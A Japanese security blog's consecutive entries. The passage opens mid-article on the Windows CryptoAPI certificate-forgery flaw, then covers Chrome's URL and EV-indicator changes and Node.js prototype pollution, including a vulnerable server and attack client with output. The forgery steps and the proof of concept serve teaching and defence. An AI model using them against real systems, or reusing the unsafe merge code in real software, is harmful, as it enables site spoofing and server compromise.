具体的な攻撃コードは、

github.com

にのっています。

5.1 偽造ベースポイントのルート証明書を作る

まずは適当な本物のルートECC証明書を探します。Kudelski Securityでは、現Sectigo社が管理するUSERTRUST NetworkのルートECC証明書を利用しました。

f:id:jovi0608:20200118022231p:plain

このルートECC証明書は、namedCurve形式でP-384を利用していることがわかります。

次に攻撃用のルート証明書を作成します。本物のルート証明書から、シリアルと公開鍵データをパクります。

次に、P-384のECパラメータを記載したspecifiedCurve形式の証明書から偽造ベースポイントを公開鍵を2倍にした座標に変更します。

f:id:jovi0608:20200118022209p:plain

G'=2Pなので秘密鍵は1/2となります。1/2といっても小数ではなく整数で表します。2倍して1になる数なので、1周して元に戻るちょうど中間折返し地点までの数を示します*1

5.2 時雨堂の偽造サーバ証明書を作る

時雨堂になりすましを行うHTTPSサーバ用の証明書を作り、この偽造ルートECC証明書を使って署名します。subjectAltName に shiguredo.jp を入れ込んでいます。 f:id:jovi0608:20200118022244p:plain

5.2 Windows CryptoAPIのキャッシュを上書き

脆弱性をついて攻撃できるルート証明書を作成できたとしても、どうやってこれをターゲットの端末に認識させられるのでしょうか? ルート証明書は通常端末の中で管理されており、外部の攻撃者がルート証明書を入れ替えたりすることは容易ではありません。

ここでもう一つの Windows CryptoAPI のバグ(仕様?)をつきます。

どうもCryptoAPIは、署名検証で利用した証明書をキャッシュしているようです。

ここからはWindows内部の挙動になるので想定になりますが、どうもシリアル番号・公開鍵・Subjectの情報など証明書の一部の情報が一致していると、ルート証明書といえどもキャッシュ更新を行う感じです。

2020年1月22日追記: McAfeeから調査ブログが出てました。思ったよりひどそう。 blogs.mcafee.jp

まず最初に攻撃対象となっている本物のルート証明書から発行されたサイトにアクセスしてルート証明書のキャッシュを作成させます。

次に攻撃者は、偽造ルート証明書と偽造サーバ証明書をクライアントに送り込みます。通常はルート証明書をサーバからクライアントに送ることはありませんが、しったこっちゃありません。

これを受け取ったクライアントのCrypto APIでは、なんと偽造ルート証明書にキャッシュを更新します。

本来ならECパラメータなど完全に同一のものか厳密にチェックしないといけないのですが、なんとベースポイントのチェックを忘れるバグがありました。楕円曲線の係数とかの情報はちゃんとチェックしているようで完全な見落としだと思います。

偽造ルート証明書は、CryptoAPI内では正常なルート証明書として扱われ偽造サーバ証明書の署名検証が成功することになります。これで最初に示した攻撃が完了です。 f:id:jovi0608:20200118022300p:plain 最初に示した攻撃に成功した画面では証明書パスのチェックでルート証明書にバッテンがついていました。これはキャッシュ上のルート証明書で署名検証は成功しているけどクライアントで管理している本当のルート証明書でないのでバッテンをつけているのだと思われます。

証明書パスがエラーならURLバーの表示でもエラーを出してもらいたいものです。

6. WindowsはRFC5480違反?

実はインターネットのPKIシステムでspecifiedCurve形式の証明書を利用することはRFC違反なんです。 https://tools.ietf.org/html/rfc5480#section-2.1.1 では明確に、

 implicitCurve and specifiedCurve MUST NOT be used in PKIX.

(implicitCurveとspecifiedCurveはPKIXでは利用しては**いけない**。)

規定されています。おそらく企業ユーザなどで過去TLS1.0/1.1の古い時代にspecifiedCurve形式を使った証明書を扱うようなケースがあり、互換性を維持するためにこうなってしまったのではないかと思われますが、本当のことはわかりません。

OpenSSLでも以下の issue でspecifiedCurve形式のクライアント証明書が使えなくなったというissueがあがってました。

Connection error when using EC client certificate with explicit parameters and TLS1.2

結局RFC5480に従うということでWon't Fix扱いでクローズされました。実際にspecifiedCurve形式のサーバ証明書を受け取るとopenssl-1.1.1のクライアントはエラーで接続できないです。

どういう理由かはわかりませんが、RFC違反で残っていた機能がこんなところで大きな脆弱性として出てきてしまったことは皮肉なもんです。 歴史の長いIEだからこそ起きてしまっことなのかも知れません。新しいMicrosoft EDGEでは、ChromiumのネットワークスタックやTLSライブラリ(BoringSSL)を利用しているようなので同じようなことを心配しなくても良くなるでしょう。

Google Chromeについて(2020年1月20日追記)

IE11は脆弱性の影響を受け、Google Chromeや新しいMicrosoft EDGEでは問題ないように捉えられる記述をしていましたが、間違いでした。
ChromeWindows CryptoAPIの CertGetCertificateChain を利用しており、下記コードで修正が入っています(修正版のChrome 79がリリース済み)

41853ce2057201bdd225aee96be4e6cd51b2458b - chromium/src.git - Git at Google

ただし、Google Chromeの場合はサーバ証明書に Certificate Transparency (SCT)が入っていないといけないので、SCT必須となる以前の2018年5月1日以前に発行された証明書に偽造する必要があります。

*1:実際には P-384 の order を法として2の逆数を求めます

なぜChromeはURLを殺そうとするのか? (Chrome Dev Summit 2019)

今年もChrome開発者の集まりChrome Dev Summit 2019 (CDS) がサンフランシスコで開催されました。 今回、私が Chrome Customer Advisory Board (CAB) に選出していただいたこともあり、CDSに初めて参加しました。

これは、CDS終了後のCAB meetingで頂いたChrome Dinosaurフィギュアです。ちなみにゲームはできません。 f:id:jovi0608:20191117195129j:plain タイトルの「なぜChromeはURLを殺そうとするのか?」は、2日目Chrome Leadsのパネルセッションで司会のGooglerが、Chrome UX担当のProduct Managerに対して一番最初に投げかけた問いです。

PMは直ちに「そんなことはしない」と即答しました。しかしChromeは、URLの表示領域からHTTPSの緑色表示の廃止・EV表示場所の移動・wwwサブドメイン表示の削除、といったセキュリティに関連するUI変更を立て続けに行ってきています。

Googleは、URLをどう考えていて、ChromeのUIを将来どうしていくのか?

その方向性は1日目のセッション「Protecting users on a thriving web (繁栄しているウェブの上でユーザを守る)」で話されています。


Protecting users on a thriving web (Chrome Dev Summit 2019)

世界的にHTTPS Everywhereが普及し、HTTPS化されたフィッシングサイトも増大している中、今後のChromeブラウザにおけるURL表示に対する考え方は、従来と大きく変わることになりそうです。 今回そのセッションの内容について紹介したいと思います。

このセッションは、2つに別れています。前半は、Chromeのセキュリテイ担当エンジニア Emily Stark さんによるChromeのURL表示に関するセッションです。以下は、おおよその講演内容を文字に起こしたものです。

1. あなたはウェブのどこにいるのか? サイトのアイデンティティをわかりやすくする。

ウェブブラウザの上部に表示されるURLは、ウェブサイトのアイデンティティに対する曖昧な手がかりでしかありません。

ドメイン名からサイトのアイデンティティを特定することは、簡単なことではありません。セキュリティ専門家でも見分けがつかないこともあるし、非技術者のユーザとってなおさら無理な話です。

このことは憶測に基づくものではなく、多くの実験や調査で示されています。セキュリティに対してちゃんとした決定をしなければならない時に、多くのユーザはURLに気づかなかったり、URLを理解できていないのです。

Googleは、1000人以上を対象とした調査を行いました。対象ユーザにGoogleのログインページにみえるブラウザウィンドウを見せると、アドレスが明確に tinyurl.com になっていても、85%の人がそのウェブサイトをGoogleだと言うことがわかりました。 f:id:jovi0608:20191119050458p:plain これは本当に非常に難しい問題です。

多くの人々は、本当に便利なものとしてURLを利用しています。しかし、URLが人々を騙したり、害を及ぼすことに使われたりすることもよくあります。

そのためGoogleは、いくつかの方向からこの問題にアプローチしています。それは、

  • URLを悪用する巧妙なスプーフィング技術に対して、積極的に対策をします。
  • セキュリティを決定づける最も重要なURL情報に、人々の注意を向けるようにします。
  • 専門家をサポートする特別なツールを作っています。それをURLをより良くするセキュリテイツールとして役立たせます。

というアプローチです。 f:id:jovi0608:20191119050533p:plain

1.1. スプーフィング対策

IDNを使った spoofing は見分けがつかないです。example.comのaがキリル文字だったとしてもわかりません。 f:id:jovi0608:20191119050608p:plain Chrome75から「Look-alike Warning」という新しい警告を入れるようにしました。これはスプーフされたIDNを検知し、攻撃されていると思われる場合ユーザを正式なサイトに導くページを表示します。 f:id:jovi0608:20191119050639p:plain Chromeがナビゲーション中のドメインにIDNを見つけると、同じように見える文字種を一つにまとめるアルゴリズムを使い、ドメイン名をスケルトンに変換します。 そしてそれを有名なサイトや過去にユーザが訪れたサイトのスケルトンと比較します。もし合致すれば、ユーザを正しいサイトに導くよう、この警告を表示します。 f:id:jovi0608:20191119050711p:plain

1.2. セキュリティに関連したものを強調する

1.2.1. EV表示の廃止

Chrome77より、EV証明書の表示をPage Infoに移す変更をしました。これまでの調査・研究結果から、EV証明書が人々にサイトのアイデンティティを理解させるのに役立っていないことがわかったからです。

(以下省略: これについては直前のエントリー「Google Chrome EV表示の終焉」に詳しく書きましたので、そちらを参照してください。 )

1.2.2. OmniboxにおけるURL表示の簡略化

HTTPS以外では警告を出すようにしたため、Onmiboxで scheme (https://) を非表示にしました。

大多数の人にとって、wwwサブドメインの表示をしてもしなくても違いはありません。多くのユーザには、それは visual noise となるし、セキュリティに関連した部分をURLで見つけるのが難しくなります。ユーザに対しては、多くの情報を与えないようにします。

UIをより簡単にして、ユーザの注意をURLのセキュリティに関連した部分(ドメイン名)にフォーカスさせます。そのため、これらのURLコンポーネントを隠しました。これを「steady state Omnibox」と呼んでいます。 f:id:jovi0608:20191119050740p:plain

1.2.3. 将来的な変更について (鍵アイコンの削除など)

将来的には、もっとドメイン名に注意を引きつけるUI変更も考えています。

  • OmniboxでURLを編集しようとクリックするまでパスを隠すべきか?
  • ドメイン名を太字にしたり大きく見せて、もっと際立たせるべきか?
  • ユーザーが自分でドメインを検査することになった時に、パスをアニメーション化すべきか?

まだどれが良いのかわかっていません。

この考えに沿って、最終的にHTTPS接続を示す鍵アイコンも削除する予定です。

HTTPS接続を中立な状態として、デフォルトにします。そしてセキュリティがなくなった場合にのみ、警告を出すようにします。

鍵アイコンのような positive なインディケータは、かえってユーザを混乱させ、誤ったメッセージを送ることもあります。 (これはHTTPSのメンタルモデルを調査した論文を引用し、「鍵アイコンは、自分の認証が必要なことを指していると思っている」というユーザがいたことを指しています。) f:id:jovi0608:20191119050808p:plain 何も出なかったら安全なHTTPS接続である、と思ってもらえるようにしたいです。 Chromeは安全でなかったら、警告を出すようにします。

調査・準備にもっと時間が必要なので、鍵アイコンをいつ削除するのかは未定です。

1.3. 専門家向けのユーザケース

全員がURLを簡略化してほしいと望んでいません。ここへの最初の取り組みは、Suspicious Site Reporter というChrome拡張です。

この拡張を使うとOmniboxのURLが編集されず、常に完全に見えます。デフォルトで有効になっている非技術ユーザを助ける目的のURL簡略化を回避します。 f:id:jovi0608:20191119050844p:plain この拡張を使うと、悪意のあるサイトをGoogle Safe Browsing サービスに簡単に報告できます。Google Safe Browsingサービスは、 malicious活動をスキャンしているサービスです。

Safe Browsingサービスが、報告されたサイトがフィッシングやマルウェア配布・ソーシャルエンジニアリングなど、Googleポリシー違反をしていると判定すれば、全てのChromeユーザに対してそのサイトの訪問をブロックします。

2. ウェブはあなたの何を知るのか? 反映するウェブエコシステムのためのプライバシー確保API

後半は、Michael Kleberさんによる最近のウェブプライバシー関連の状況とChromeの取り組みについてです。本エントリーの内容から少し外れてしまうので解説は省略しますが、1つ重要なことだけ挙げておきます。

2020年2月リリース予定の Chrome 80 から、クッキーのデフォルト挙動が変わります。3rd party cookieは、今のままでは動作しなくなる可能性があります。影響を受けそうなサイトは、Googleからのアナウンス「新しい Cookie 設定 SameSite=None; Secure の準備を始めましょう」をよく読んで準備しましょう。 f:id:jovi0608:20191119051248p:plain

3. まとめ

以上セッションの内容から、Googleがスプーフィング対策・非技術者向けにURLの簡略化と効果的なUIの模索・専門家向けにURLを生で見せるChrome拡張の提供、の3つの柱でChromeのセキュリティ対策を進めているのがわかりました。

「これは実質的にURLを殺しにきているのではないか?」と言われれば、まぁそうなのかもしれません。

URL表示の簡略化は、Omniboxを使うとカーソルが微妙にずれてしまったりして個人的にも違和感があります。慣れの問題かなと半分諦めていました。今回 Suspicious Site Reporter を知って速攻で入れました。まぁホント快適です(フィッシングサイトの報告はまだしたことないです)。簡略URL表示に違和感のある方は、慣れる前に試してみることをお勧めします。これを使えば、今のところURLが殺されていない世界をGoogleから提供してもらえそうです。

ただHTTPS接続が当たり前となり、フィッシングが巧妙になり、非技術者ユーザが圧倒的多数を占める状況では、URLを確認しろ・証明書を確認しろ・リンクやサイトの記述に注意せよ、といった対応はそろそろ限界に来ているのかなとも思ったりします。

今回のセッションで紹介されたHTTPSメンタルモデルの論文「“If HTTPS Were Secure, I Wouldn’t Need 2FA”- End User and Administrator Mental Models of HTTPS」で報告されているユーザ調査には、少しショックを受けました。

“I think the lock symbol means that I have to authenticate myself. 
As I frequently forget my passwords, I usually try to click around to get rid of this symbol.”
「鍵アイコンは、自分の認証が必要なことを指していると思っている。
私はよくパスワードを忘れるので、この鍵アイコンを消すためにいつもいろんなところをクリックしてます。」
“HTTPS is a bad protocol. If HTTPS were secure, I wouldn’t need 2FA.”
「HTTPSは悪いプロトコルだ。もしHTTPSが安全なら私に2FAは必要ないだろう。」

まぁこういう状況なら、ChromeのURL表示が簡略化され、セキュリティアクション選択の多くがGoogleのお任せになるのも仕方ないかもしれません。

ところで、もらった Chrome Dinosaurフィギュアの箱を見てみると見慣れないURLが、 f:id:jovi0608:20191118015129j:plain 試してみると、 f:id:jovi0608:20191119050945p:plain おぉ、 ERR_INTERNET_DISCONNECTED (-106) だったのか!

Google Chrome EV表示の終焉

1. Chrome でEV証明書の組織名表示がなくなる

ついにGoogleからChromeのURLバーからEV表示を削除する正式なアナウンスが出ました。

現在(2019年8月) StableのChrome76では、以下の様にURLバー左側にEV証明書を利用していることを示す「組織名+国名」表示が付いています。

f:id:jovi0608:20190812012752p:plain
Chrome76のEV表示

2019年9月10日Stableリリース予定のChrome77からはEV表示がURLバーから削除され、鍵アイコンをクリックして表示されるPage Infoに「組織名+国名」が表示されるようになります。

Googleのアナウンスでは、 "on certain websites" と書いてあることから一気にではなく一部のサイトからEV表示を外すのかもしれません。下図は Chrome78 Canary のスクリーンショットです。

f:id:jovi0608:20190812012733p:plain
Chrome78のEV表示

以前よりGoogleChromeでEV表示を外すフィールド実験を行っていることは知られていました。

今回、Googleはこの大規模なChromeのフィールド実験結果を解析し、EV表示の効果はないということを統計的に示しました。 結果、ChromeのURLバーからEV表示を外すという方針を決めました。

以下はGoogleのアナウンス文からの引用翻訳です。

Chrome Security UXチームは、独自の調査と以前の学術研究の調査を通じて、EV UIがユーザーを意図したとおりに保護していないと判断しました(Chromiumドキュメントの詳細資料を参照)。

EV UIが変更されたり削除されたりしても、ユーザーはパスワードやクレジットカード情報の入力を避ける、といった安全な選択を行わないようです。EV UIが提供している防止策に意味があると言えるでしょうか。

さらにEVバッジは貴重な画面領域を占有し、派手なUIで紛らわしい会社名を積極的に提示したりします。 これは安全な接続に対して有益になるわけではなく、むしろ中立的な表示を目指しているChrome製品の方向性を妨げます。

これらの問題とその限られた有用性のために、Page InfoでEV UIを表示する方が良いと考えています。

2. EV証明書の問題

ブラウザの表示については、これまで様々な問題提起がされ、大きな議論が行われてきました。 これまでの議論は、NTTセキュアプラットフォーム研究所の奥田さんによる「TLSとWebブラウザの表示のいまとこれから ~URLバーの表示はどうなるのか~」 にとても詳しくまとまっています。 興味のある方はこの資料をぜひ見てください。

奥田さんの資料に少し追加しますと、EV証明書の表示に関して少し前に2つ大きなインシデントがありました。

2017年に英国のセキュリティ研究者 James Burton氏が、"Identity Verified"という会社を設立し、正式なEV 証明書を取得しました。 当時AppleSafariではEV証明書のサイトではURLを表示せず組織名だけを表示していたため、 Identity Verified会社のEV証明書を使って以下のようにGoogleアカウントやPayPalのログインページなどを表示することができ、ユ ーザを惑わすことが可能であることを実証しました。

f:id:jovi0608:20190812013221p:plain
Identity VerifiedのEV表示

2018年AppleはiOS12でSafariでのEVの組織表示をやめました。 CABForumのF2F会議の議事録によると、Appleの話では「この変更は、調査と顧客の意見を基に行ったものである。組織名が、ユーザの意図した接続先とドメイン名と同じように結びついているわけではない。」と書いてあります。

2つ目は、米国のセキュリティ研究者 Ian Carroll氏が、米国では州が異なれば同じ会社名の法人が設立できることを使い、デラウェア州にある決済のStripe社と同じ社名のStripe社をケンタッキー州で設立しました。 この会社を使って正式なEV証明書を取得し、同じStripe社を表示する正当なEV証明書によるフィッシングサイトが立ち上げられられることを公表しました。2つを比べるとURLは異なりますが、EV表示だけを見ていると全く同じです。

f:id:jovi0608:20190812013238p:plain
Stripe IncのEV表示

このような事案を受けて、いくつかの認証局が組織するCA Security CouncilでEV/OV証明書によるフィッシングを対策する The London Protocolの策定を2018年に開始しました。しかし現在の進捗状況は不明です。

EV証明書を取得するには、登記簿の提出など組織の実在を証明する厳しい手続きと高い費用が必要です。しかしEV証明書を取得する組織が、法的に問題ない業務を行っているかどうかは認証局チェックの範囲外です。各認証局はEV証明書発行時にフィッシングドメインでないかのチェックを行っています。しかしそれは十分ではなく、コスト面さえ折り合えば、このような攻撃がEV証明書を使って行われる可能性があることが示されたわけです。

このような問題を持つEV証明書に対して、ブラウザのEV組織表示は本当に必要なのでしょうか?

ブラウザのEV組織表示は、本当にユーザのセキュリティに効果があるのでしょうか?

10年以上前にIE7やFirefox3を使った数十名を対象とした小規模な調査で、EV表示は有効でないという結果が公表されていました。現在ではブラウザの環境もUIも当時より大きく変わっています。

今回Googleは、7割近くのトップシェアを持つ Chrome を用いて大規模にフィールド実験を行いました。現在のブラウザUIでEV表示が本当にユーザのセキュリティ行動に対して有効なのか判断するためです。

3. Googleが行ったEV表示のフィールド実験

Googleは、どのようなフィールド実験結果からURLバーからEV表示の削除を結論づけたのでしょうか? 詳細は 8/14 から始まる USENIX Security 19 の「The Web's Identity Crisis: Understanding the Effectiveness of Website Identity Indicators」 で発表される予定です。

すでに公開されている論文から中身を見てみましょう。

Chromeのフィールド実験で、Googleは以下の3つの試験を行いました。

  1. Chromeユーザに対するEV表示/非表示のフィールド実験
  2. 米国・英国ユーザ(1000名程度)に対するEV表示に関するオンラインサーベイ
  3. 米国ユーザ(1000名強)に対するURL表示に関するサーベイ

ここでは、1.のChromeのEV表示/非表示のフィールド実験について主に書きます。

EV表示のフィールド実験は、2019年1月15日から28日にかけてStableチャネル(Chrome 71)で実施されました。

統制群、実験群としてそれぞれ1%のユーザをランダムで割り当て、実験群ではEV表示をしないようにしました。 Chromeのユーザ規模になると1%サンプルでも数百万ユーザのデータになっています。すごい規模です。

Googleは、それぞれのグループに対して以下のメトリックスを取得しました。

  • EV Navigationと時間
  • EV Pageの遷移(タブクローズ、Back/Forward/Reload)
  • ファイルダウンロード
  • Formの送信
  • Autofillによるクレジットカード情報の送信
  • Page Infoの表示とその後の操作
  • サイトエンゲージメント

取得したデータに対してウェルチt検定を行い、結果は以下の表になりました。統制群(Control)はEV表示しているグループ、実験群(Experiment)はEV表示をしないグループです。

f:id:jovi0608:20190812013256p:plain
Chromeのフィールド実験結果1

EV Navigationと時間、EV Pageの遷移、ファイルダウンロード、Formの送信、Autofillによるクレジットカード情報の送信に関しては、統制群・実験群でその割合に大きな違いは見られませんでした。

統制群に対して実験群が統計的有意差(p値 < 0.05)であるものは、「Page Infoを表示する」だけです。 少し意外ですが、EV表示がある方がユーザが頻繁に鍵アイコンをクリックしてPage Infoのポップアップを開けているのです(EVページナビゲーションに対して0.25%対0.02%)。

Page Infoを開けた後の操作にどのような違いがあるのか? EVページナビゲーションで正規化して解析し直したのが次の結果です。

f:id:jovi0608:20190812013318p:plain
Chromeのフィールド実験結果2

Page Info後の操作に対して、それぞれの効果量(Cohen's d)が小さいです。ユーザのPage Info後の操作は、EV表示/非表示で大きく変わらないことがわかりました。

それではどうしてEV表示があるとユーザは、Page Infoをよく開けるのでしょうか?

論文では以下の2つの仮説が挙げられています。

  • EV表示の領域が大きいためユーザが間違ってPage Infoを開けてしまう。
  • ユーザは、EV表示の場合ちゃんと認識してPage Infoを開けている。しかしEV非表示の場合でもセキュリティ行動を変える判断を行うまでに至っていない。

ですが結局よく理由はわからないと締めています。

Googleは、TOP 20のEVサイトに対するデータの解析も行っています。その結果6サイトで統計的有意差が出ましたが、効果量が少ないため自然変異だろうと結論づけています。

以上のフィールド実験の結果から、Page Infoを開ける行動には違いがあるものの、EV表示の有無がナビゲーションやページ遷移、ファイルダウンロード、フォーム送信、クレジットカード情報のAutoFillといったユーザのセキュリティ行動に影響しないことが統計的に示されました。 これは過去の小規模調査結果と合致しています。

他にもGoogleは、1000名を対象としたEV表示のサーベイを実施しています。 組織名が同じで国名が異なるEV証明書が表示された場合やApple SafariのEV表示変更でユーザがどのように判断するかサーベイしました。 どちらもWebページにログインする際、EV表示がユーザに心理的影響を与えないことがわかりました。

ChromeにおけるEV表示の大規模フィールド実験と1000名を対象としたEV表示のサーベイ結果、いずれもEV表示の有効性を示すものではありませんでした。 以上の結果から、ChromeのURLバーからEV表示を外し、Page Infoへ移す方針を決めたわけです。

4. URL表示の限界、その先にあるもの

ChromeのURLバーからEV表示がなくなります。ではブラウザは、このままのURL表示で大丈夫なのでしょうか?

今回の論文では、1000名強のユーザーを対象としてURL表示のバリエーションを変えたサーベイも行っています。しかし、どれもユーザをフィッシングサイトへの アクセスを防止させるような効果はなかったと結論づけています。

2019年1月のUSENIX ENIGMAで、GoogleのEmily Stark氏が The URLephant in the Room というプレゼンを行っています。 そこでは、

URLは、効果的なセキュリティ・インディケータではない。
- 人々はURLに気づいていない。
- 人々はURLを理解していない。
- (国際化ドメイン名など)人々がURL(の違い)を理解することが不可能な場合もある。

と述べています。一方で、直ちにURLに替わる画期的で有効な方法といった銀の弾丸は存在せず、まずURL表示を正しくするようにして長期間かけてUIを改善していく必要がある、アイデアやフィードバックが欲しいと訴えています。

Googleは、URLに替わる代替案を本当に考えていないのでしょうか?

あるChromeのバグチケットにこんなコメントがありました。

f:id:jovi0608:20190812015057p:plain

 Our long-term hope is to eventually de-emphasize URLs (Google-internal link: ...)
 我々の長期的な展望は、実質的にURLを強調させないことである(Google内部リンク: ...)

資料がGoogle内部リンクになっているため「実質的にURLを強調させないこと」が具体的に何を指しているのかわかりません。

GoogleがURL表示に替わってChromeの表示をどう変えていくのか、今後も注視していきたいと思います。

Node.jsにおけるプロトタイプ汚染攻撃とは何か

1. はじめに

最近わけあってNodeのセキュリティ調査をしているのですが、今年の5月に開催された North Sec 2018 でセキュリティ研究者の Olivier Arteau 氏による 「Prototype pollution attacks in NodeJS applications」という面白い発表を見つけました。

この発表の論文や発表資料、デモ動画などもgithubで公開されていますし、ちょうどタイミングよくセッション動画も最近公開されました。 github.com


Olivier Arteau -- Prototype pollution attacks in NodeJS applications

この発表で解説されているのは、悪意のある攻撃者が、JavaScript言語固有のプロトタイプチェーンの挙動を利用して、Webサーバを攻撃する方法です。

発表者は、npmからダウンロードできるユーザモジュールを調べあげ、lohdash を始めとして多くのモジュールにプロトタイプ汚染の脆弱性があることを発見し、報告を行いました。そして、実際に脆弱性のある Ghost CMS に対して、パスワードリセットのリクエストを細工してサーバ上で計算機アプリを実行するデモまで成功しています。

JavaScriptの実行環境においてプロトタイプ汚染が発生してしまうことの危険性は、古くから言われていたことですが、これがNode.jsの環境でWebサーバへの攻撃に使われるということは、これまであまり意識されてなかったのではないかと思います。

自分の備忘録を兼ねて、ここではその攻撃の仕組みなどを解説してみます。

2. __proto__ の現状

オブジェクトのプロトタイプを参照する __proto__ は、昔から仕様外で裏技っぽく使われてきた機能でした。しかし現状実装の追認とブラウザ間での機能互換を持たせるため ECMAScript2015 で仕様に入りました。 developer.mozilla.org

他にも __proto__ への setter/getter と同様の機能である Object.setPrototypeOf/getPrototypeOf も規定されました。しかし、MDNではプロトタイプオブジェクトを変更することは基本非推奨の扱いです。今のNode.js環境では、もちろんどちらも使えます。

3. プロトタイプ汚染

プロトタイプ汚染とはどういうものでしょうか?

やり方はいろいろありそうですが、今回狙われたのは、オブジェクトリテラルの __proto__ が Object.prototype と同一であることを利用して、他のオブジェクトのプロパティアクセスに影響を与えるやり方です。

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

上記の例では、obj1のプロトタイプオブジェクトを操作して、全く関係ない obj2 のプロパティ値(obj2.polluted)が undefined から 1 に改変されています。

発表では、以下の3つのパターンでオブジェクトのプロトタイプ汚染が起きることが紹介されています。いずれも __proto__ を key に持つ不正なデータをオブジェクトに登録させることによって、Object.prototype の操作を狙ったものです。

  • プロパティの設定
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};

    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
  • オブジェクトのマージ
function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
  • オブジェクトのクローン
function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

これらに近い機能を提供するユーザモジュールの多くに、プロトタイプ汚染の脆弱性が見つかり修正されています。 いくつか修正部分を見てみましたが、key が __proto__ の場合に処理をスキップする対応でした。

攻撃者は、外部から Object.prototype を操作できることから、上記の様に undefined のプロパティを改変するだけでなく、 for-in loop を狙ったり、toString や valueOf などのメソッドをオーバライドしたりすることも可能です。DoSなら簡単に起こせそうです。

4. 実際の攻撃

発表では、実際のCMSサーバに対してパスワードリセットで送信するJSONを操作して攻撃を行うやり方が解説されていました。

皮肉なことに、オブジェクトのプロトタイプ汚染攻撃が成功した場合に、サーバをクラッシュさせず動かしたまま攻撃するのは、なかなか難儀な技です。 デモでは、様々な工夫をしてCMSテンプレートを操作してテスト用に残されているファイルに改変し、そこから任意のJavaScriptをサーバ上で実行(計算機アプリを立ち上げ)させています。

ここでは、JSONを受けて処理する簡単なWeb APIサーバが、プロトタイプ汚染攻撃によってレスポンスが操作されるサンプルを作ってみましょう。

外部から受信したJSONをそのまま別のオブジェクトに clone しています。

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    // 本当は、 key が __proto__ の時に処理をスキップすべき
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

function clone(obj) {
  return merge({}, obj);
}

const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
  // ここで外部から不正なJSONをそのままcloneして、オブジェクトのプロトタイプ汚染が起きる
  const obj = clone(req.body);
  const r = {};
  // プロトタイプ汚染によって r.status が改変
  const status = r.status ? r.status: 'NG';
  res.send(status)
});
app.listen(1234);
  • プロトタイプ汚染攻撃コード

クライアントの攻撃コードは、__proto__のプロパティを持つJSONをサーバに送信するだけです。

const http = require('http');
const client = http.request({
  host: 'localhost',
  port: 1234,
  method: 'POST'
}, (res) => {
  res.on('data', (chunk) => {
    console.log(chunk.toString());
  });
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);

攻撃結果です。送り込んだJSONによってサーバ上のオブジェクトプロトタイプが汚染され、response値が NG から polluted に改変されています。

$ node client.js
polluted

5. 対策

この攻撃を緩和させる対策として、以下の3つの方法が挙げられています。

  • Object.freeze を使う。

    Object.prototype や Object を freeze して改変を不可能にする方法です。副作用で動かなくなるモジュールがでるリスクがあります。

  • JSON schema を使う。

    avjモジュールなどを使って、JSON validation を行う方法です。

  • Map を使う。

    key/value を保存するためだけなら、オブジェクトを使わず Map を使う方法です。ES5以前の古い環境では使えません。

ちゃんと意識していないと忘れてしまいそうです。

6. まとめ

言われてみればそうなんですが、外部からのJSONを別のオブジェクトにdeepコピーしただけで攻撃されることになるのは、ちょっと驚きでした。 やっぱり外部からのデータ処理は慎重にです。

脆弱性が指摘されたユーザモジュールの多くは、既に修正されています。心当たりのある方は、一度 npm audit で確認をしてみましょう。

$ npm audit

                       === npm audit security report ===

# Run  npm install lodash@4.17.11  to resolve 1 vulnerability

  Low             Prototype Pollution

  Package         lodash

  Dependency of   lodash

  Path            lodash

  More info       https://nodesecurity.io/advisories/577



found 1 low severity vulnerability in 1 scanned package
  run `npm audit fix` to fix 1 of them.